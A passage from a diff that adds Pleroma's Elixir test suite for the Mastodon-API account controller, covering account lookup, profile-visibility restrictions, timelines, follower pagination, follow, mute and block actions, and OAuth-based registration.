b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -0,0 +1,1536 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.InternalFetchActor + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + describe "account fetching" do + test "works by id" do + %User{id: user_id} = insert(:user) + + assert %{"id" => ^user_id} = + build_conn() + |> get("/api/v1/accounts/#{user_id}") + |> json_response_and_validate_schema(200) + + assert %{"error" => "Can't find user"} = + build_conn() + |> get("/api/v1/accounts/-1") + |> json_response_and_validate_schema(404) + end + + test "works by nickname" do + user = insert(:user) + + assert %{"id" => user_id} = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(200) + end + + test "works by nickname for remote users" do + clear_config([:instance, :limit_to_local_content], false) + + user = insert(:user, nickname: "user@example.com", local: false) + + assert %{"id" => user_id} = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(200) + end + + test "respects limit_to_local_content == :all for remote user nicknames" do + clear_config([:instance, :limit_to_local_content], :all) + + user = insert(:user, nickname: "user@example.com", local: false) + + assert build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(404) + end + + test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do + clear_config([:instance, :limit_to_local_content], :unauthenticated) + + user = insert(:user, nickname: "user@example.com", local: false) + reading_user = insert(:user) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + + assert json_response_and_validate_schema(conn, 404) + + conn = + build_conn() + |> assign(:user, reading_user) + |> assign(:token, insert(:oauth_token, user: reading_user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{user.nickname}") + + assert %{"id" => id} = json_response_and_validate_schema(conn, 200) + assert id == user.id + end + + test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do + # Need to set an old-style integer ID to reproduce the problem + # (these are no longer assigned to new accounts but were preserved + # for existing accounts during the migration to flakeIDs) + user_one = insert(:user, %{id: 1212}) + user_two = insert(:user, %{nickname: "#{user_one.id}garbage"}) + + acc_one = + conn + |> get("/api/v1/accounts/#{user_one.id}") + |> json_response_and_validate_schema(:ok) + + acc_two = + conn + |> get("/api/v1/accounts/#{user_two.nickname}") + |> json_response_and_validate_schema(:ok) + + acc_three = + conn + |> get("/api/v1/accounts/#{user_two.id}") + |> json_response_and_validate_schema(:ok) + + refute acc_one == acc_two + assert acc_two == acc_three + end + + test "returns 404 when user is invisible", %{conn: conn} do + user = insert(:user, %{invisible: true}) + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(404) + end + + test "returns 404 for internal.fetch actor", %{conn: conn} do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/internal.fetch") + |> json_response_and_validate_schema(404) + end + + test "returns 404 for deactivated user", %{conn: conn} do + user = insert(:user, deactivated: true) + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/#{user.id}") + |> json_response_and_validate_schema(:not_found) + end + end + + defp local_and_remote_users do + local = insert(:user) + remote = insert(:user, local: false) + {:ok, local: local, remote: remote} + end + + describe "user fetching with restrict unauthenticated profiles for local and remote" do + setup do: local_and_remote_users() + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{local.id}") + |> json_response_and_validate_schema(:unauthorized) + + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{remote.id}") + |> json_response_and_validate_schema(:unauthorized) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "user fetching with restrict unauthenticated profiles for local" do + setup do: local_and_remote_users() + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "This API requires an authenticated user" + } + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "user fetching with restrict unauthenticated profiles for remote" do + setup do: local_and_remote_users() + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "This API requires an authenticated user" + } + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "user timelines" do + setup do: oauth_access(["read:statuses"]) + + test "works with announces that are just addressed to public", %{conn: conn} do + user = insert(:user, ap_id: "https://honktest/u/test", local: false) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) + + {:ok, announce, _} = + %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://honktest/u/test", + "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", + "object" => post.data["object"], + "published" => "2019-06-25T19:33:58Z", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "type" => "Announce" + } + |> ActivityPub.persist(local: false) + + assert resp = + conn + |> get("/api/v1/accounts/#{user.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == announce.id + end + + test "deactivated user", %{conn: conn} do + user = insert(:user, deactivated: true) + + assert %{"error" => "Can't find user"} == + conn + |> get("/api/v1/accounts/#{user.id}/statuses") + |> json_response_and_validate_schema(:not_found) + end + + test "returns 404 when user is invisible", %{conn: conn} do + user = insert(:user, %{invisible: true}) + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/#{user.id}") + |> json_response_and_validate_schema(404) + end + + test "respects blocks", %{user: user_one, conn: conn} do + user_two = insert(:user) + user_three = insert(:user) + + User.block(user_one, user_two) + + {:ok, activity} = CommonAPI.post(user_two, %{status: "User one sux0rz"}) + {:ok, repeat} = CommonAPI.repeat(activity.id, user_three) + + assert resp = + conn + |> get("/api/v1/accounts/#{user_two.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == activity.id + + # Even a blocked user will deliver the full user timeline, there would be + # no point in looking at a blocked users timeline otherwise + assert resp = + conn + |> get("/api/v1/accounts/#{user_two.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == activity.id + + # Third user's timeline includes the repeat when viewed by unauthenticated user + resp = + build_conn() + |> get("/api/v1/accounts/#{user_three.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == repeat.id + + # When viewing a third user's timeline, the blocked users' statuses will NOT be shown + resp = get(conn, "/api/v1/accounts/#{user_three.id}/statuses") + + assert [] == json_response_and_validate_schema(resp, 200) + end + + test "gets users statuses", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + user_three = insert(:user) + + {:ok, _user_three} = User.follow(user_three, user_one) + + {:ok, activity} = CommonAPI.post(user_one, %{status: "HI!!!"}) + + {:ok, direct_activity} = + CommonAPI.post(user_one, %{ + status: "Hi, @#{user_two.nickname}.", + visibility: "direct" + }) + + {:ok, private_activity} = + CommonAPI.post(user_one, %{status: "private", visibility: "private"}) + + # TODO!!! + resp = + conn + |> get("/api/v1/accounts/#{user_one.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == to_string(activity.id) + + resp = + conn + |> assign(:user, user_two) + |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) + |> get("/api/v1/accounts/#{user_one.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id_one}, %{"id" => id_two}] = resp + assert id_one == to_string(direct_activity.id) + assert id_two == to_string(activity.id) + + resp = + conn + |> assign(:user, user_three) + |> assign(:token, insert(:oauth_token, user: user_three, scopes: ["read:statuses"])) + |> get("/api/v1/accounts/#{user_one.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id_one}, %{"id" => id_two}] = resp + assert id_one == to_string(private_activity.id) + assert id_two == to_string(activity.id) + end + + test "unimplemented pinned statuses feature", %{conn: conn} do + note = insert(:note_activity) + user = User.get_cached_by_ap_id(note.data["actor"]) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?pinned=true") + + assert json_response_and_validate_schema(conn, 200) == [] + end + + test "gets an users media, excludes reblogs", %{conn: conn} do + note = insert(:note_activity) + user = User.get_cached_by_ap_id(note.data["actor"]) + other_user = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, %{id: image_post_id}} = CommonAPI.post(user, %{status: "cofe", media_ids: [media_id]}) + + {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: other_user.ap_id) + + {:ok, %{id: other_image_post_id}} = + CommonAPI.post(other_user, %{status: "cofe2", media_ids: [media_id]}) + + {:ok, _announce} = CommonAPI.repeat(other_image_post_id, user) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?only_media=true") + + assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) + + conn = get(build_conn(), "/api/v1/accounts/#{user.id}/statuses?only_media=1") + + assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) + end + + test "gets a user's statuses without reblogs", %{user: user, conn: conn} do + {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "HI!!!"}) + {:ok, _} = CommonAPI.repeat(post_id, user) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=true") + assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=1") + assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) + end + + test "filters user's statuses by a hashtag", %{user: user, conn: conn} do + {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "#hashtag"}) + {:ok, _post} = CommonAPI.post(user, %{status: "hashtag"}) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?tagged=hashtag") + assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) + end + + test "the user views their own timelines and excludes direct messages", %{ + user: user, + conn: conn + } do + {:ok, %{id: public_activity_id}} = + CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, _direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_visibilities[]=direct") + assert [%{"id" => ^public_activity_id}] = json_response_and_validate_schema(conn, 200) + end + end + + defp local_and_remote_activities(%{local: local, remote: remote}) do + insert(:note_activity, user: local) + insert(:note_activity, user: remote, local: false) + + :ok + end + + describe "statuses with restrict unauthenticated profiles for local and remote" do + setup do: local_and_remote_users() + setup :local_and_remote_activities + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{local.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{remote.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + end + + describe "statuses with restrict unauthenticated profiles for local" do + setup do: local_and_remote_users() + setup :local_and_remote_activities + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{local.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + end + + describe "statuses with restrict unauthenticated profiles for remote" do + setup do: local_and_remote_users() + setup :local_and_remote_activities + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{remote.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + end + + describe "followers" do + setup do: oauth_access(["read:accounts"]) + + test "getting followers", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, %{id: user_id}} = User.follow(user, other_user) + + conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") + + assert [%{"id" => ^user_id}] = json_response_and_validate_schema(conn, 200) + end + + test "getting followers, hide_followers", %{user: user, conn: conn} do + other_user = insert(:user, hide_followers: true) + {:ok, _user} = User.follow(user, other_user) + + conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") + + assert [] == json_response_and_validate_schema(conn, 200) + end + + test "getting followers, hide_followers, same user requesting" do + user = insert(:user) + other_user = insert(:user, hide_followers: true) + {:ok, _user} = User.follow(user, other_user) + + conn = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{other_user.id}/followers") + + refute [] == json_response_and_validate_schema(conn, 200) + end + + test "getting followers, pagination", %{user: user, conn: conn} do + {:ok, %User{id: follower1_id}} = :user |> insert() |> User.follow(user) + {:ok, %User{id: follower2_id}} = :user |> insert() |> User.follow(user) + {:ok, %User{id: follower3_id}} = :user |> insert() |> User.follow(user) + + assert [%{"id" => ^follower3_id}, %{"id" => ^follower2_id}] = + conn + |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1_id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = + conn + |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3_id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = + conn + |> get( + "/api/v1/accounts/#{user.id}/followers?id=#{user.id}&limit=20&max_id=#{ + follower3_id + }" + ) + |> json_response_and_validate_schema(200) + + res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3_id}") + + assert [%{"id" => ^follower2_id}] = json_response_and_validate_schema(res_conn, 200) + + assert [link_header] = get_resp_header(res_conn, "link") + assert link_header =~ ~r/min_id=#{follower2_id}/ + assert link_header =~ ~r/max_id=#{follower2_id}/ + end + end + + describe "following" do + setup do: oauth_access(["read:accounts"]) + + test "getting following", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = get(conn, "/api/v1/accounts/#{user.id}/following") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) + assert id == to_string(other_user.id) + end + + test "getting following, hide_follows, other user requesting" do + user = insert(:user, hide_follows: true) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{user.id}/following") + + assert [] == json_response_and_validate_schema(conn, 200) + end + + test "getting following, hide_follows, same user requesting" do + user = insert(:user, hide_follows: true) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + build_conn() + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{user.id}/following") + + refute [] == json_response_and_validate_schema(conn, 200) + end + + test "getting following, pagination", %{user: user, conn: conn} do + following1 = insert(:user) + following2 = insert(:user) + following3 = insert(:user) + {:ok, _} = User.follow(user, following1) + {:ok, _} = User.follow(user, following2) + {:ok, _} = User.follow(user, following3) + + res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}") + + assert [%{"id" => id3}, %{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) + assert id3 == following3.id + assert id2 == following2.id + + res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}") + + assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) + assert id2 == following2.id + assert id1 == following1.id + + res_conn = + get( + conn, + "/api/v1/accounts/#{user.id}/following?id=#{user.id}&limit=20&max_id=#{following3.id}" + ) + + assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) + assert id2 == following2.id + assert id1 == following1.id + + res_conn = + get(conn, "/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}") + + assert [%{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) + assert id2 == following2.id + + assert [link_header] = get_resp_header(res_conn, "link") + assert link_header =~ ~r/min_id=#{following2.id}/ + assert link_header =~ ~r/max_id=#{following2.id}/ + end + end + + describe "follow/unfollow" do + setup do: oauth_access(["follow"]) + + test "following / unfollowing a user", %{conn: conn} do + %{id: other_user_id, nickname: other_user_nickname} = insert(:user) + + assert %{"id" => _id, "following" => true} = + conn + |> post("/api/v1/accounts/#{other_user_id}/follow") + |> json_response_and_validate_schema(200) + + assert %{"id" => _id, "following" => false} = + conn + |> post("/api/v1/accounts/#{other_user_id}/unfollow") + |> json_response_and_validate_schema(200) + + assert %{"id" => ^other_user_id} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/follows", %{"uri" => other_user_nickname}) + |> json_response_and_validate_schema(200) + end + + test "cancelling follow request", %{conn: conn} do + %{id: other_user_id} = insert(:user, %{locked: true}) + + assert %{"id" => ^other_user_id, "following" => false, "requested" => true} = + conn + |> post("/api/v1/accounts/#{other_user_id}/follow") + |> json_response_and_validate_schema(:ok) + + assert %{"id" => ^other_user_id, "following" => false, "requested" => false} = + conn + |> post("/api/v1/accounts/#{other_user_id}/unfollow") + |> json_response_and_validate_schema(:ok) + end + + test "following without reblogs" do + %{conn: conn} = oauth_access(["follow", "read:statuses"]) + followed = insert(:user) + other_user = insert(:user) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) + + assert %{"showing_reblogs" => false} = json_response_and_validate_schema(ret_conn, 200) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) + + assert [] == + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + + assert %{"showing_reblogs" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: true}) + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^reblog_id}] = + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + end + + test "following with reblogs" do + %{conn: conn} = oauth_access(["follow", "read:statuses"]) + followed = insert(:user) + other_user = insert(:user) + + ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow") + + assert %{"showing_reblogs" => true} = json_response_and_validate_schema(ret_conn, 200) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) + + assert [%{"id" => ^reblog_id}] = + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + + assert %{"showing_reblogs" => false} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) + |> json_response_and_validate_schema(200) + + assert [] == + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + end + + test "following / unfollowing errors", %{user: user, conn: conn} do + # self follow + conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow") + + assert %{"error" => "Can not follow yourself"} = + json_response_and_validate_schema(conn_res, 400) + + # self unfollow + user = User.get_cached_by_id(user.id) + conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow") + + assert %{"error" => "Can not unfollow yourself"} = + json_response_and_validate_schema(conn_res, 400) + + # self follow via uri + user = User.get_cached_by_id(user.id) + + assert %{"error" => "Can not follow yourself"} = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/follows", %{"uri" => user.nickname}) + |> json_response_and_validate_schema(400) + + # follow non existing user + conn_res = post(conn, "/api/v1/accounts/doesntexist/follow") + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) + + # follow non existing user via uri + conn_res = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/follows", %{"uri" => "doesntexist"}) + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) + + # unfollow non existing user + conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow") + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) + end + end + + describe "mute/unmute" do + setup do: oauth_access(["write:mutes"]) + + test "with notifications", %{conn: conn} do + other_user = insert(:user) + + assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = + conn + |> post("/api/v1/accounts/#{other_user.id}/mute") + |> json_response_and_validate_schema(200) + + conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") + + assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = + json_response_and_validate_schema(conn, 200) + end + + test "without notifications", %{conn: conn} do + other_user = insert(:user) + + ret_conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"}) + + assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = + json_response_and_validate_schema(ret_conn, 200) + + conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") + + assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = + json_response_and_validate_schema(conn, 200) + end + end + + describe "pinned statuses" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) + %{conn: conn} = oauth_access(["read:statuses"], user: user) + + [conn: conn, user: user, activity: activity] + end + + test "returns pinned statuses", %{conn: conn, user: user, activity: %{id: activity_id}} do + {:ok, _} = CommonAPI.pin(activity_id, user) + + assert [%{"id" => ^activity_id, "pinned" => true}] = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response_and_validate_schema(200) + end + end + + test "blocking / unblocking a user" do + %{conn: conn} = oauth_access(["follow"]) + other_user = insert(:user) + + ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/block") + + assert %{"id" => _id, "blocking" => true} = json_response_and_validate_schema(ret_conn, 200) + + conn = post(conn, "/api/v1/accounts/#{other_user.id}/unblock") + + assert %{"id" => _id, "blocking" => false} = json_response_and_validate_schema(conn, 200) + end + + describe "create account by app" do + setup do + valid_params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true + } + + [valid_params: valid_params] + end + + test "registers and logs in without :account_activation_required / :account_approval_required", + %{conn: conn} do + clear_config([:instance, :account_activation_required], false) + clear_config([:instance, :account_approval_required], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + assert %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response_and_validate_schema(conn, 200) + + conn = + post(conn, "/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + clear_config([User, :email_blacklist], ["example.org"]) + + params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test Bio", + agreement: true + } + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", params) + + assert %{"error" => "{\"email\":[\"Invalid email\"]}"} = + json_response_and_validate_schema(conn, 400) + + Pleroma.Config.put([User, :email_blacklist], []) + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", params) + + %{ + "access_token" => token, + "created_at" => _created_at, + "scope" => ^scope, + "token_type" => "Bearer" + } = json_response_and_validate_schema(conn, 200) + + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + user = Repo.preload(token_from_db, :user).user + + assert user + refute user.confirmation_pending + refute user.approval_pending + end + + test "registers but does not log in with :account_activation_required", %{conn: conn} do + clear_config([:instance, :account_activation_required], true) + clear_config([:instance, :account_approval_required], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + assert %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response_and_validate_schema(conn, 200) + + conn = + post(conn, "/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test Bio", + agreement: true + }) + + response = json_response_and_validate_schema(conn, 200) + assert %{"identifier" => "missing_confirmed_email"} = response + refute response["access_token"] + refute response["token_type"] + + user = Repo.get_by(User, email: "lain@example.org") + assert user.confirmation_pending + end + + test "registers but does not log in with :account_approval_required", %{conn: conn} do + clear_config([:instance, :account_approval_required], true) + clear_config([:instance, :account_activation_required], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + assert %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response_and_validate_schema(conn, 200) + + conn = + post(conn, "/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test 